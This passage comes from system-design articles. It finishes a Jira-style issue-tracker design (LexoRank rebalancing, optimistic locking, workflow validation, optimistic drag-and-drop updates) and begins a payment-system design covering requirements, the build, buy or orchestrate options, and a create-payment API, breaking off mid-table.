  const afterRank = parseLexoRank(after)
  const newValue = getMidpoint(beforeRank.value, afterRank.value)
  return formatLexoRank({ bucket, value: newValue })
}
```

### Rebalancing Strategy

LexoRank strings grow as items are repeatedly inserted between adjacent values:

```
Initial:  "i"
After 1:  "ii"
After 2:  "iii"
...
After 50: "iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii"
```

**Jira's rebalancing thresholds:**

1. Rank length > 64 chars → Schedule rebalance within 12 hours
2. Second trigger within 12 hours → Immediate rebalance
3. Rank length > 254 chars → Disable ranking until complete

**Rebalancing algorithm:**

```typescript collapse={1-5}
async function rebalanceColumn(projectId: string, statusId: string): Promise<void> {
  // 1. Lock column for writes (or use different bucket)
  const lockKey = `rebalance:${projectId}:${statusId}`
  await redis.set(lockKey, "1", "EX", 300) // 5 min lock

  try {
    // 2. Fetch all issues ordered by current rank
    const issues = await db.query(
      `
      SELECT id, rank
      FROM issues
      WHERE project_id = $1 AND status_id = $2
      ORDER BY rank
    `,
      [projectId, statusId],
    )

    // 3. Assign evenly-spaced new ranks
    const newBucket = (parseInt(issues[0]?.rank?.split("|")[0] || "0") + 1) % 3
    const step = Math.floor(BASE / (issues.length + 1))

    const updates = issues.map((issue, index) => {
      const position = step * (index + 1)
      const newValue = position.toString(36).padStart(6, "0")
      return {
        id: issue.id,
        newRank: `${newBucket}|${newValue}`,
      }
    })

    // 4. Batch update
    await db.transaction(async (tx) => {
      for (const { id, newRank } of updates) {
        await tx.query("UPDATE issues SET rank = $1 WHERE id = $2", [newRank, id])
      }
    })

    // 5. Invalidate cache
    await invalidateBoardCache(projectId)
  } finally {
    await redis.del(lockKey)
  }
}
```

## Low-Level Design: Concurrent Edit Handling

### Optimistic Locking Flow

![Diagram](./diagram-5.svg)

### Implementation

```typescript collapse={1-20}
interface UpdateIssueInput {
  issueId: string
  title?: string
  description?: string
  assigneeId?: string
  version: number
}

interface UpdateResult {
  success: boolean
  issue?: Issue
  error?: { code: string; message: string }
}

async function updateIssue(input: UpdateIssueInput): Promise<UpdateResult> {
  const { issueId, version, ...updates } = input

  // Build dynamic UPDATE query
  const setClause = Object.entries(updates)
    .filter(([_, v]) => v !== undefined)
    .map(([k, _], i) => `${toSnakeCase(k)} = $${i + 3}`)
    .join(", ")

  const values = Object.values(updates).filter((v) => v !== undefined)

  const result = await db.query(
    `
    UPDATE issues
    SET ${setClause}, version = version + 1, updated_at = NOW()
    WHERE id = $1 AND version = $2
    RETURNING *
  `,
    [issueId, version, ...values],
  )

  if (result.rowCount === 0) {
    // Check if issue exists
    const exists = await db.query("SELECT version FROM issues WHERE id = $1", [issueId])

    if (exists.rowCount === 0) {
      return {
        success: false,
        error: { code: "NOT_FOUND", message: "Issue not found" },
      }
    }

    const currentVersion = exists.rows[0].version
    return {
      success: false,
      error: {
        code: "VERSION_CONFLICT",
        message: `Version mismatch. Expected ${version}, current is ${currentVersion}`,
      },
    }
  }

  // Broadcast change
  await publishBoardEvent(result.rows[0].project_id, {
    action: "UPDATED",
    issue: result.rows[0],
  })

  return { success: true, issue: result.rows[0] }
}
```

### Conflict Resolution Strategies

| Strategy              | Use Case                                | Trade-off                       |
| --------------------- | --------------------------------------- | ------------------------------- |
| **Last-Write-Wins**   | Most fields (title, assignee, priority) | May lose edits, but simple      |
| **Field-Level Merge** | Non-conflicting field updates           | More complex, preserves more    |
| **Manual Resolution** | Description (rich text)                 | Best fidelity, worst UX         |
| **CRDT**              | Concurrent rich text editing            | Complex, best for collaboration |

**Field-level merge example:**

```typescript
// Client 1 updates title (version 5 → 6)
// Client 2 updates assignee (version 5 → conflict)
// Instead of rejecting, merge if fields don't overlap

async function mergeUpdate(input: UpdateIssueInput, currentIssue: Issue): Promise<UpdateResult> {
  const { version, ...updates } = input

  // Find which fields changed since client's version
  const changedFields = await getChangedFieldsSince(input.issueId, version, currentIssue.version)

  // Check for conflicts
  const conflictingFields = Object.keys(updates).filter((f) => changedFields.includes(f))

  if (conflictingFields.length > 0) {
    return {
      success: false,
      error: {
        code: "FIELD_CONFLICT",
        message: `Conflicting fields: ${conflictingFields.join(", ")}`,
      },
    }
  }

  // No conflicts - apply update to latest version
  return updateIssue({
    ...input,
    version: currentIssue.version,
  })
}
```

### Move Operation (Status + Rank)

Moving an issue involves two atomic changes: status and rank.

```typescript collapse={1-10}
interface MoveIssueInput {
  issueId: string
  toStatusId: string
  rankAfterId?: string
  rankBeforeId?: string
  version: number
}

async function moveIssue(input: MoveIssueInput): Promise<UpdateResult> {
  const { issueId, toStatusId, rankAfterId, rankBeforeId, version } = input

  return db.transaction(async (tx) => {
    // 1. Lock and fetch current issue
    const issue = await tx.query("SELECT * FROM issues WHERE id = $1 FOR UPDATE", [issueId])

    if (!issue.rows[0]) {
      return { success: false, error: { code: "NOT_FOUND", message: "Issue not found" } }
    }

    if (issue.rows[0].version !== version) {
      return {
        success: false,
        error: { code: "VERSION_CONFLICT", message: "Concurrent modification" },
      }
    }

    const currentIssue = issue.rows[0]

    // 2. Validate transition
    const transitionValid = await validateTransition(tx, currentIssue.project_id, currentIssue.status_id, toStatusId)

    if (!transitionValid) {
      return {
        success: false,
        error: { code: "INVALID_TRANSITION", message: "Workflow does not allow this transition" },
      }
    }

    // 3. Calculate new rank
    let newRank: string

    if (rankAfterId) {
      const afterIssue = await tx.query("SELECT rank FROM issues WHERE id = $1", [rankAfterId])
      const beforeIssue = rankBeforeId ? await tx.query("SELECT rank FROM issues WHERE id = $1", [rankBeforeId]) : null

      newRank = calculateNewRank(afterIssue.rows[0]?.rank, beforeIssue?.rows[0]?.rank)
    } else if (rankBeforeId) {
      const beforeIssue = await tx.query("SELECT rank FROM issues WHERE id = $1", [rankBeforeId])
      newRank = calculateNewRank(null, beforeIssue.rows[0]?.rank)
    } else {
      // Default: bottom of column
      const lastInColumn = await tx.query(
        `
        SELECT rank FROM issues
        WHERE project_id = $1 AND status_id = $2
        ORDER BY rank DESC LIMIT 1
      `,
        [currentIssue.project_id, toStatusId],
      )

      newRank = calculateNewRank(lastInColumn.rows[0]?.rank, null)
    }

    // 4. Update issue
    const result = await tx.query(
      `
      UPDATE issues
      SET status_id = $1, rank = $2, version = version + 1, updated_at = NOW()
      WHERE id = $3
      RETURNING *
    `,
      [toStatusId, newRank, issueId],
    )

    // 5. Log activity
    await tx.query(
      `
      INSERT INTO activity_log (issue_id, user_id, action_type, old_value, new_value)
      VALUES ($1, $2, 'status_change', $3, $4)
    `,
      [
        issueId,
        getCurrentUserId(),
        JSON.stringify({ status_id: currentIssue.status_id }),
        JSON.stringify({ status_id: toStatusId }),
      ],
    )

    // 6. Broadcast (after commit)
    setImmediate(() => {
      publishBoardEvent(currentIssue.project_id, {
        action: "MOVED",
        issue: result.rows[0],
        previousStatusId: currentIssue.status_id,
      })
    })

    return { success: true, issue: result.rows[0] }
  })
}
```

## Low-Level Design: Workflow and Status Management

### Workflow Data Model

Each project has its own workflow, defined by statuses and transitions.

![Diagram](./diagram-6.svg)

### Fetching Workflow Configuration

```graphql
query GetProjectWorkflow($projectId: ID!) {
  project(id: $projectId) {
    workflow {
      statuses {
        id
        name
        category
        color
        position
      }
      transitions {
        id
        name
        fromStatus {
          id
        }
        toStatus {
          id
        }
      }
    }
  }
}
```

**Response structure:**

```json
{
  "project": {
    "workflow": {
      "statuses": [
        { "id": "s1", "name": "To Do", "category": "TODO", "color": "#808080", "position": 1 },
        { "id": "s2", "name": "In Progress", "category": "IN_PROGRESS", "color": "#0052cc", "position": 2 },
        { "id": "s3", "name": "In Review", "category": "IN_PROGRESS", "color": "#8777d9", "position": 3 },
        { "id": "s4", "name": "Done", "category": "DONE", "color": "#36b37e", "position": 4 }
      ],
      "transitions": [
        { "id": "t1", "name": "Start Progress", "fromStatus": { "id": "s1" }, "toStatus": { "id": "s2" } },
        { "id": "t2", "name": "Submit for Review", "fromStatus": { "id": "s2" }, "toStatus": { "id": "s3" } },
        { "id": "t3", "name": "Approve", "fromStatus": { "id": "s3" }, "toStatus": { "id": "s4" } },
        { "id": "t4", "name": "Reject", "fromStatus": { "id": "s3" }, "toStatus": { "id": "s2" } },
        { "id": "t5", "name": "Reopen", "fromStatus": { "id": "s4" }, "toStatus": { "id": "s1" } }
      ]
    }
  }
}
```

### Workflow Mutation API

```graphql
# Add a new status
mutation AddStatus($input: AddStatusInput!) {
  addStatus(input: $input) {
    status {
      id
      name
      category
      position
    }
  }
}

# Add a transition
mutation AddTransition($input: AddTransitionInput!) {
  addTransition(input: $input) {
    transition {
      id
      name
      fromStatus {
        id
      }
      toStatus {
        id
      }
    }
  }
}

# Reorder statuses (columns)
mutation ReorderStatuses($input: ReorderStatusesInput!) {
  reorderStatuses(input: $input) {
    statuses {
      id
      position
    }
  }
}
```

### Client-Side Workflow Validation

To provide instant feedback, clients cache workflow rules:

```typescript collapse={1-10}
interface WorkflowCache {
  statuses: Map<string, Status>
  transitions: Map<string, Set<string>> // fromStatusId → Set<toStatusId>
}

class WorkflowValidator {
  private cache: WorkflowCache

  constructor(workflow: Workflow) {
    this.cache = {
      statuses: new Map(workflow.statuses.map((s) => [s.id, s])),
      transitions: new Map(),
    }

    // Build transition map
    for (const t of workflow.transitions) {
      const fromId = t.fromStatus?.id || "*" // null = any status
      if (!this.cache.transitions.has(fromId)) {
        this.cache.transitions.set(fromId, new Set())
      }
      this.cache.transitions.get(fromId)!.add(t.toStatus.id)
    }
  }

  canTransition(fromStatusId: string, toStatusId: string): boolean {
    // Check specific transition
    if (this.cache.transitions.get(fromStatusId)?.has(toStatusId)) {
      return true
    }
    // Check wildcard (from any status)
    if (this.cache.transitions.get("*")?.has(toStatusId)) {
      return true
    }
    return false
  }

  getAvailableTransitions(fromStatusId: string): Status[] {
    const specific = this.cache.transitions.get(fromStatusId) || new Set()
    const wildcard = this.cache.transitions.get("*") || new Set()
    const available = new Set([...specific, ...wildcard])

    return Array.from(available)
      .map((id) => this.cache.statuses.get(id)!)
      .filter(Boolean)
  }
}
```

## Frontend Considerations

### Board State Management

**Normalized data structure:**

```typescript
interface BoardState {
  // Entities by ID
  issues: Record<string, Issue>
  statuses: Record<string, Status>
  users: Record<string, User>

  // Ordering
  columnOrder: string[] // Status IDs in display order
  issueOrder: Record<string, string[]> // statusId → issueIds in rank order

  // Pagination
  columnCursors: Record<string, string | null>
  columnHasMore: Record<string, boolean>

  // UI state
  draggingIssueId: string | null
  dropTargetColumn: string | null
  dropTargetIndex: number | null
}
```

**Why normalized:**

- Moving an issue updates two arrays, not nested objects
- React reference equality works for memoization
- Easier to apply real-time updates

### Optimistic Updates for Drag-and-Drop

```typescript collapse={1-20}
function useMoveIssue() {
  const [boardState, setBoardState] = useState<BoardState>(initialState)
  const pendingMoves = useRef<Map<string, { previousState: BoardState }>>(new Map())

  const moveIssue = async (issueId: string, toStatusId: string, toIndex: number) => {
    const issue = boardState.issues[issueId]
    const fromStatusId = issue.statusId

    // 1. Save previous state for rollback
    const previousState = structuredClone(boardState)
    pendingMoves.current.set(issueId, { previousState })

    // 2. Optimistic update
    setBoardState((state) => {
      const newState = { ...state }

      // Remove from old column
      newState.issueOrder = {
        ...state.issueOrder,
        [fromStatusId]: state.issueOrder[fromStatusId].filter((id) => id !== issueId),
      }

      // Add to new column at index
      const newColumnOrder = [...(state.issueOrder[toStatusId] || [])]
      newColumnOrder.splice(toIndex, 0, issueId)
      newState.issueOrder[toStatusId] = newColumnOrder

      // Update issue status
      newState.issues = {
        ...state.issues,
        [issueId]: { ...issue, statusId: toStatusId },
      }

      return newState
    })

    // 3. Server request
    const rankAfterId = toIndex > 0 ? boardState.issueOrder[toStatusId]?.[toIndex - 1] : null
    const rankBeforeId = boardState.issueOrder[toStatusId]?.[toIndex] || null

    try {
      const result = await api.moveIssue({
        issueId,
        toStatusId,
        rankAfterId,
        rankBeforeId,
        version: issue.version,
      })

      if (!result.success) {
        throw new Error(result.error?.message || "Move failed")
      }

      // 4. Update with server-assigned rank and version
      setBoardState((state) => ({
        ...state,
        issues: {
          ...state.issues,
          [issueId]: { ...state.issues[issueId], ...result.issue },
        },
      }))

      pendingMoves.current.delete(issueId)
    } catch (error) {
      // 5. Rollback on failure
      const pending = pendingMoves.current.get(issueId)
      if (pending) {
        setBoardState(pending.previousState)
        pendingMoves.current.delete(issueId)
      }
      toast.error("Failed to move issue. Please try again.")
    }
  }

  return { boardState, moveIssue }
}
```

### Real-time Update Handling

```typescript collapse={1-15}
function useBoardSubscription(projectId: string) {
  const [boardState, setBoardState] = useState<BoardState>(initialState)

  useEffect(() => {
    const subscription = graphqlClient
      .subscribe({
        query: BOARD_CHANGED_SUBSCRIPTION,
        variables: { projectId },
      })
      .subscribe({
        next: ({ data }) => {
          const event = data.boardChanged

          setBoardState((state) => {
            // Skip if this is our own optimistic update
            if (pendingMoves.current.has(event.issue.id)) {
              return state
            }

            switch (event.action) {
              case "MOVED":
                return handleRemoteMove(state, event)
              case "UPDATED":
                return handleRemoteUpdate(state, event)
              case "CREATED":
                return handleRemoteCreate(state, event)
              case "DELETED":
                return handleRemoteDelete(state, event)
              default:
                return state
            }
          })
        },
      })

    return () => subscription.unsubscribe()
  }, [projectId])

  return boardState
}

function handleRemoteMove(state: BoardState, event: BoardEvent): BoardState {
  const { issue, previousStatusId } = event
  const newState = { ...state }

  // Remove from previous column
  if (previousStatusId && state.issueOrder[previousStatusId]) {
    newState.issueOrder = {
      ...state.issueOrder,
      [previousStatusId]: state.issueOrder[previousStatusId].filter((id) => id !== issue.id),
    }
  }

  // Add to new column in correct position based on rank
  const currentColumnOrder = state.issueOrder[issue.statusId] || []
  const insertIndex = findInsertIndex(currentColumnOrder, issue.rank, state.issues)

  const newColumnOrder = [...currentColumnOrder]
  newColumnOrder.splice(insertIndex, 0, issue.id)
  newState.issueOrder[issue.statusId] = newColumnOrder

  // Update issue data
  newState.issues = {
    ...state.issues,
    [issue.id]: issue,
  }

  return newState
}
```

### Column Virtualization

For boards with many issues per column, virtualize the issue list:

```typescript collapse={1-10}
import { useVirtualizer } from '@tanstack/react-virtual';

function VirtualizedColumn({
  statusId,
  issueIds
}: {
  statusId: string;
  issueIds: string[]
}) {
  const parentRef = useRef<HTMLDivElement>(null);

  const virtualizer = useVirtualizer({
    count: issueIds.length,
    getScrollElement: () => parentRef.current,
    estimateSize: () => 80, // Estimated card height
    overscan: 5             // Render 5 extra items for smooth scrolling
  });

  return (
    <div ref={parentRef} className="column-scroll-container">
      <div
        style={{
          height: `${virtualizer.getTotalSize()}px`,
          position: 'relative'
        }}
      >
        {virtualizer.getVirtualItems().map((virtualItem) => (
          <div
            key={virtualItem.key}
            style={{
              position: 'absolute',
              top: 0,
              left: 0,
              width: '100%',
              transform: `translateY(${virtualItem.start}px)`
            }}
          >
            <IssueCard issueId={issueIds[virtualItem.index]} />
          </div>
        ))}
      </div>
    </div>
  );
}
```

## Infrastructure

### Cloud-Agnostic Components

| Component      | Purpose               | Options                               |
| -------------- | --------------------- | ------------------------------------- |
| API Gateway    | Request routing, auth | Kong, Nginx, Traefik                  |
| GraphQL Server | Query execution       | Apollo Server, Mercurius              |
| Message Queue  | Event streaming       | Kafka, RabbitMQ, NATS                 |
| Cache          | Board state, sessions | Redis, Memcached, KeyDB               |
| Search         | Full-text search      | Elasticsearch, Meilisearch, Typesense |
| Object Storage | Attachments           | MinIO, Ceph, S3-compatible            |
| Database       | Primary store         | PostgreSQL, CockroachDB               |

### AWS Reference Architecture

![Diagram](./diagram-7.svg)

**Service configurations:**

| Service             | Configuration          | Rationale                              |
| ------------------- | ---------------------- | -------------------------------------- |
| GraphQL (Fargate)   | 2 vCPU, 4GB RAM        | Stateless, scale on request rate       |
| WebSocket (Fargate) | 2 vCPU, 4GB RAM        | Connection-bound, ~10K per instance    |
| Workers (Spot)      | 1 vCPU, 2GB RAM        | Cost optimization for async            |
| RDS PostgreSQL      | db.r6g.xlarge Multi-AZ | Primary store, read replicas for scale |
| ElastiCache         | r6g.large cluster      | Board cache, pub/sub                   |
| OpenSearch          | m6g.large.search × 3   | Search index, 3 nodes for HA           |

### Scaling Considerations

**Read-heavy workload:**

- Read replicas for PostgreSQL
- Redis caching for board state
- CDN for static assets

**WebSocket connections:**

- Sticky sessions to WebSocket servers
- Redis pub/sub for cross-instance broadcast
- ~10K connections per 4GB instance

**Search indexing:**

- Async indexing via Kafka
- Dedicated OpenSearch domain
- Index aliases for zero-downtime reindexing

## Conclusion

This design provides a flexible issue tracking system with:

1. **O(1) reordering** via LexoRank eliminates cascading updates
2. **Per-column pagination** ensures all columns load incrementally
3. **Optimistic locking** handles concurrent edits with minimal conflict
4. **Project-scoped workflows** allow team customization without global impact
5. **Real-time sync** via GraphQL subscriptions provides sub-300ms propagation

**Key architectural decisions:**

- LexoRank for ordering trades storage (growing strings) for write efficiency
- Per-column pagination over global pagination ensures balanced board views
- Last-write-wins is acceptable for most fields; CRDTs reserved for rich text
- Denormalized Redis cache trades consistency for read performance

**Known limitations:**

- LexoRank requires periodic rebalancing (background job)
- Last-write-wins may lose concurrent edits on same field
- Large boards (>1000 issues) need virtualization

**Future enhancements:**

- Local-first architecture for offline support (Linear-style sync engine)
- Field-level CRDTs for conflict-free concurrent editing
- GraphQL federation for microservices decomposition

## Appendix

### Prerequisites

- Distributed systems fundamentals (eventual consistency, optimistic locking)
- GraphQL basics (queries, mutations, subscriptions)
- React state management patterns
- SQL and database design

### Terminology

| Term                        | Definition                                                               |
| --------------------------- | ------------------------------------------------------------------------ |
| **LexoRank**                | Lexicographically sortable string for ordering without cascading updates |
| **Optimistic locking**      | Concurrency control using version numbers to detect conflicts            |
| **Workflow**                | Set of statuses and allowed transitions between them                     |
| **Fractional indexing**     | Using real numbers (or strings) for ordering with O(1) insertions        |
| **Cursor-based pagination** | Using opaque cursors instead of offsets for stable pagination            |
| **Last-write-wins (LWW)**   | Conflict resolution where the latest timestamp wins                      |

### Summary

- **LexoRank ordering** enables O(1) drag-and-drop without updating other rows
- **Per-column pagination** with cursor-based approach ensures balanced board loading
- **Optimistic locking** with version field detects concurrent modifications
- **Project-scoped workflows** allow custom statuses without schema changes
- **GraphQL subscriptions** provide real-time updates with sub-300ms propagation
- **Denormalized Redis cache** trades consistency for fast board reads

### References

**Issue Tracker APIs:**

- [Jira Software Cloud REST API](https://developer.atlassian.com/cloud/jira/software/rest/intro/) - Board and agile endpoints
- [Jira Cloud Platform REST API](https://developer.atlassian.com/cloud/jira/platform/rest/v3/) - Issue and workflow endpoints
- [Linear Developers - GraphQL API](https://linear.app/developers/graphql) - GraphQL schema and patterns
- [Asana Developers](https://developers.asana.com/reference/) - Task and section ordering

**Ordering Algorithms:**

- [Figma Blog - Realtime Editing of Ordered Sequences](https://www.figma.com/blog/realtime-editing-of-ordered-sequences/) - Fractional indexing at scale
- [Understanding LexoRank](https://support.atlassian.com/jira/kb/understanding-and-managing-lexorank-in-jira-server/) - Jira's ranking system
- [LexoRank Explained](https://tmcalm.nl/blog/lexorank-jira-ranking-system-explained/) - Detailed algorithm walkthrough
- [rocicorp/fractional-indexing](https://github.com/rocicorp/fractional-indexing) - Reference implementation

**Sync and Real-time:**

- [Scaling the Linear Sync Engine](https://linear.app/now/scaling-the-linear-sync-engine) - Local-first architecture
- [Reverse Engineering Linear's Sync Engine](https://github.com/wzhudev/reverse-linear-sync-engine) - Technical deep-dive
- [Conflict-free Replicated Data Types](https://crdt.tech/) - CRDT resources

**System Design:**

- [Optimistic Concurrency Control](https://en.wikipedia.org/wiki/Optimistic_concurrency_control) - Concurrency patterns
- [Cursor-based Pagination](https://relay.dev/graphql/connections.htm) - Relay connection specification

---

## Design a Payment System

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-problems/design-payment-system
**Category:** System Design / System Design Problems
**Description:** Building a payment processing platform that handles card transactions, bank transfers, and digital wallets with PCI DSS compliance, idempotent processing, and real-time fraud detection. Payment systems operate under unique constraints: zero tolerance for duplicate charges, regulatory mandates (PCI DSS), and sub-second fraud decisions. This design covers the complete payment lifecycle—authorization, capture, settlement—plus reconciliation, refunds, and multi-gateway routing.

# Design a Payment System

Building a payment processing platform that handles card transactions, bank transfers, and digital wallets with PCI DSS compliance, idempotent processing, and real-time fraud detection. Payment systems operate under unique constraints: zero tolerance for duplicate charges, regulatory mandates (PCI DSS), and sub-second fraud decisions. This design covers the complete payment lifecycle—authorization, capture, settlement—plus reconciliation, refunds, and multi-gateway routing.

<figure>

![Payment system architecture: Client apps submit payments through an idempotent API, fraud engine scores in real-time, smart router selects optimal processor, authorization flows through card networks, and all movements are recorded in a double-entry ledger.](./payment-system-architecture-client-apps-submit-payments-through-an-idempotent-ap.svg)

<figcaption>Payment system architecture: Client apps submit payments through an idempotent API, fraud engine scores in real-time, smart router selects optimal processor, authorization flows through card networks, and all movements are recorded in a double-entry ledger.</figcaption>
</figure>

## Abstract

Payment system design revolves around four competing constraints:

1. **Exactly-once processing** — Network failures and retries must never result in duplicate charges. Idempotency keys + request fingerprinting make every operation safely retriable.

2. **PCI compliance scope reduction** — Cardholder data (PAN, CVV) must never touch your servers if avoidable. Tokenization at the edge (via Stripe Elements, Adyen Web Components) keeps sensitive data out of your environment.

3. **Latency under fraud scrutiny** — Fraud decisions must complete in <100ms to avoid checkout abandonment, while evaluating 1000+ signals per transaction.

4. **Financial accuracy** — Every fund movement (authorization hold, capture, refund, chargeback) must be recorded in a double-entry ledger. Reconciliation ensures external settlements match internal records.

The mental model: **tokenize → authorize → capture → settle → reconcile**. Each stage has distinct timing, failure modes, and rollback procedures.

| Design Decision     | Trade-off                                               |
| ------------------- | ------------------------------------------------------- |
| Edge tokenization   | Removes PAN from scope; adds client SDK complexity      |
| Idempotency keys    | Safe retries; requires key management and storage       |
| Smart routing       | Higher auth rates; multi-processor operational overhead |
| Async settlement    | Handles scale; delayed confirmation visibility          |
| Double-entry ledger | Audit-ready; write amplification                        |

## Requirements

### Functional Requirements

| Feature                 | Scope    | Notes                                    |
| ----------------------- | -------- | ---------------------------------------- |
| Card payments           | Core     | Visa, Mastercard, Amex via card networks |
| Bank transfers          | Core     | ACH (US), SEPA (EU), wire transfers      |
| Digital wallets         | Core     | Apple Pay, Google Pay (tokenized)        |
| Authorization + Capture | Core     | Separate or combined (auth-capture)      |
| Refunds                 | Core     | Full and partial, with reason codes      |
| Recurring payments      | Core     | Subscription billing with retry logic    |
| Multi-currency          | Extended | FX conversion at capture time            |
| Split payments          | Extended | Marketplace payouts                      |
| Disputes/Chargebacks    | Extended | Evidence submission, representment       |
| 3D Secure               | Core     | SCA compliance for EU/PSD2               |

### Non-Functional Requirements

| Requirement            | Target      | Rationale                                        |
| ---------------------- | ----------- | ------------------------------------------------ |
| Availability           | 99.99%      | Revenue-critical; Stripe maintains 99.999%       |
| Authorization latency  | p99 < 2s    | Card network round-trip + fraud scoring          |
| Fraud decision latency | p99 < 100ms | Inline with authorization; cannot delay checkout |
| Duplicate charge rate  | 0%          | Non-negotiable; idempotency required             |
| Data consistency       | Strong      | Financial data requires ACID guarantees          |
| PCI DSS compliance     | Level 1     | Required for >6M transactions/year               |
| Settlement accuracy    | 100%        | Reconciliation must match external records       |

### Scale Estimation

**Traffic Profile:**

| Metric            | Typical   | Peak (Black Friday) |
| ----------------- | --------- | ------------------- |
| Transactions/day  | 10M       | 50M                 |
| TPS (average)     | 115 TPS   | 580 TPS             |
| TPS (peak)        | 500 TPS   | 2,000 TPS           |
| Auth requests/sec | 1,000 RPS | 5,000 RPS           |

**Reference: Visa processes 1,700-8,500 TPS average, with peak capacity of 65,000+ TPS.**

**Storage:**

```
Transactions: 10M/day × 2KB = 20GB/day
Yearly: 7.3TB
With 7-year retention: ~50TB

Ledger entries: 10M × 4 entries (avg) × 500B = 20GB/day
Event stream: 10M × 1KB = 10GB/day
```

**Latency Budget:**

```
Total authorization: 2000ms budget
├── API processing: 50ms
├── Fraud scoring: 100ms
├── Tokenization lookup: 20ms
├── Network to processor: 50ms
├── Processor to card network: 500ms
├── Issuer decision: 800ms
├── Response path: 480ms
```

## Design Paths

### Path A: Integrated Payment Gateway (Build In-House)

**Best when:**

- High transaction volume (>$1B annually)—interchange savings justify engineering cost
- Regulatory requirements demand data residency
- Unique payment flows that don't fit third-party APIs

**Architecture:**

![Diagram](./diagram-1.svg)

**Key characteristics:**

- Direct acquiring bank relationships
- Full control over routing decisions
- In-house tokenization and vault
- Custom fraud rules and ML models

**Trade-offs:**

- ✅ Lower per-transaction cost at scale (save 0.1-0.3%)
- ✅ Full customization of payment flows
- ✅ Data residency control
- ❌ PCI DSS Level 1 scope (audit, penetration testing, quarterly scans)
- ❌ 12-18 month build time minimum
- ❌ Requires dedicated security and compliance team

**Real-world example:** Shopify built Shop Pay in-house, processing $12B+ in GMV (2023). Justified by volume and unique merchant financing features. Required dedicated payments engineering team of 50+.

### Path B: Third-Party Payment Platform (Stripe, Adyen)

**Best when:**

- Speed to market is critical
- Transaction volume <$500M annually
- Engineering focus should be on product, not payments infrastructure

**Architecture:**

![Diagram](./diagram-2.svg)

**Key characteristics:**

- PCI scope reduced to SAQ-A (minimal questionnaire)
- Built-in fraud detection (Stripe Radar)
- Payment method coverage (cards, wallets, BNPL)
- Automatic card network compliance updates

**Trade-offs:**

- ✅ Days to integrate, not months
- ✅ PCI compliance handled by provider
- ✅ Built-in fraud detection
- ✅ Global payment method coverage
- ❌ Higher per-transaction fees (2.9% + $0.30 typical)
- ❌ Less control over routing and failover
- ❌ Vendor lock-in risk

**Real-world example:** Figma uses Stripe for all payments. At their scale (~$600M ARR), the 2.9% fee is acceptable given engineering leverage—zero payment engineers needed on staff.

### Path C: Hybrid with Payment Orchestration

**Best when:**

- Multiple payment providers needed (regional coverage, redundancy)
- Authorization rate optimization is critical
- Gradual migration from one provider to another

**Architecture:**

![Diagram](./diagram-3.svg)

**Key characteristics:**

- Single API, multiple backend processors
- Intelligent routing based on card type, geography, cost
- Automatic failover on processor outage
- A/B testing payment flows

**Trade-offs:**

- ✅ Redundancy and failover
- ✅ Route optimization (Adyen reports 26% cost savings with smart routing)
- ✅ Gradual provider migration
- ❌ Additional integration layer complexity
- ❌ Token portability challenges between providers
- ❌ Orchestration platform cost

**Real-world example:** eBay uses Adyen's intelligent payment routing, achieving 26% average cost savings on US debit transactions and 0.22% uplift in authorization rates.

### Path Comparison

| Factor               | Path A (Build)            | Path B (Third-Party) | Path C (Orchestration)   |
| -------------------- | ------------------------- | -------------------- | ------------------------ |
| Time to market       | 12-18 months              | Days-weeks           | 1-3 months               |
| PCI scope            | Level 1 (full)            | SAQ-A (minimal)      | SAQ-A (minimal)          |
| Per-transaction cost | Lowest at scale           | Highest (2.9%+)      | Middle                   |
| Engineering effort   | High (50+ FTEs)           | Low (1-2 FTEs)       | Medium (5-10 FTEs)       |
| Customization        | Full                      | Limited              | Medium                   |
| Best for             | High-volume, unique needs | Startups, SMBs       | Enterprise, multi-region |

### This Article's Focus

This article focuses on **Path B (Third-Party) with elements of Path C (Smart Routing)** because:

1. Most engineering teams should not build payment infrastructure
2. Third-party platforms handle PCI compliance, fraud, and card network changes
3. Smart routing concepts apply regardless of implementation

The architecture sections show how to integrate third-party providers while maintaining control over critical concerns like idempotency, reconciliation, and ledger accuracy.

## High-Level Design

### Component Overview

| Component              | Responsibility                | Technology                       |
| ---------------------- | ----------------------------- | -------------------------------- |
| Payment API            | Idempotent payment operations | REST API + Idempotency keys      |
| Token Service          | Map payment methods to tokens | Stripe.js / Adyen Web Components |
| Smart Router           | Select optimal processor      | Rule engine + ML routing         |
| Fraud Engine           | Real-time risk scoring        | ML model (Stripe Radar)          |
| Authorization Service  | Card network communication    | Processor SDK                    |
| Capture Service        | Settlement initiation         | Async job processor              |
| Ledger Service         | Double-entry bookkeeping      | PostgreSQL + event sourcing      |
| Reconciliation Service | Match internal vs external    | Batch jobs + anomaly detection   |
| Webhook Handler        | Process async events          | Idempotent consumer              |

### Payment Lifecycle

![Diagram](./diagram-4.svg)

### Authorization vs Capture Timing

| Pattern                   | Use Case                        | Auth Window                     |
| ------------------------- | ------------------------------- | ------------------------------- |
| Auth + immediate capture  | Digital goods, subscriptions    | N/A (single request)            |
| Auth then capture         | E-commerce (ship then charge)   | 7 days (Visa), 30 days (others) |
| Auth with delayed capture | Hotels, car rentals             | Up to 31 days                   |
| Incremental auth          | Hotels (room service additions) | Within original auth window     |

**Design note:** Visa shortened online Merchant-Initiated Transaction (MIT) windows from 7 to 5 days as of April 2024. Always capture within the network's window or risk auth expiration.

## API Design

### Create Payment

```http
POST /api/v1/payments
Idempotency-Key: pay_abc123_user_456
Authorization: Bearer {api_key}
Content-Type: application/json

{
  "amount": 9999,
  "currency": "usd",
  "payment_method_token": "pm_tok_visa_4242",
  "capture_method": "automatic",
  "description": "Order #12345",
  "metadata": {
    "order_id": "ord_789",
    "customer_email": "user@example.com"
  },
  "idempotency_key": "pay_abc123_user_456"
}
```

**Response (201 Created):**

```json
{
  "id": "pay_xyz789",
  "object": "payment",
  "amount": 9999,
  "currency": "usd",
  "status": "succeeded",
  "payment_method": {
    "id": "pm_tok_visa_4242",
    "type": "card",
    "card": {
      "brand": "visa",
      "last4": "4242",
      "exp_month": 12,
      "exp_year": 2025
    }
  },
  "captured": true,
  "receipt_url": "https://pay.example.com/receipts/pay_xyz789",
  "created_at": "2024-03-15T10:00:00Z",
  "metadata": {
    "order_id": "ord_789"
  }
}
```

**Error Responses:**

| Code                    | Condition                                    | Response                                                                     |
| ----------------------- | -------------------------------------------- | ---------------------------------------------------------------------------- |
| `400 Bad Request`       | Invalid amount, currency                     | `{"error": {"code": "invalid_amount"}}`                                      |
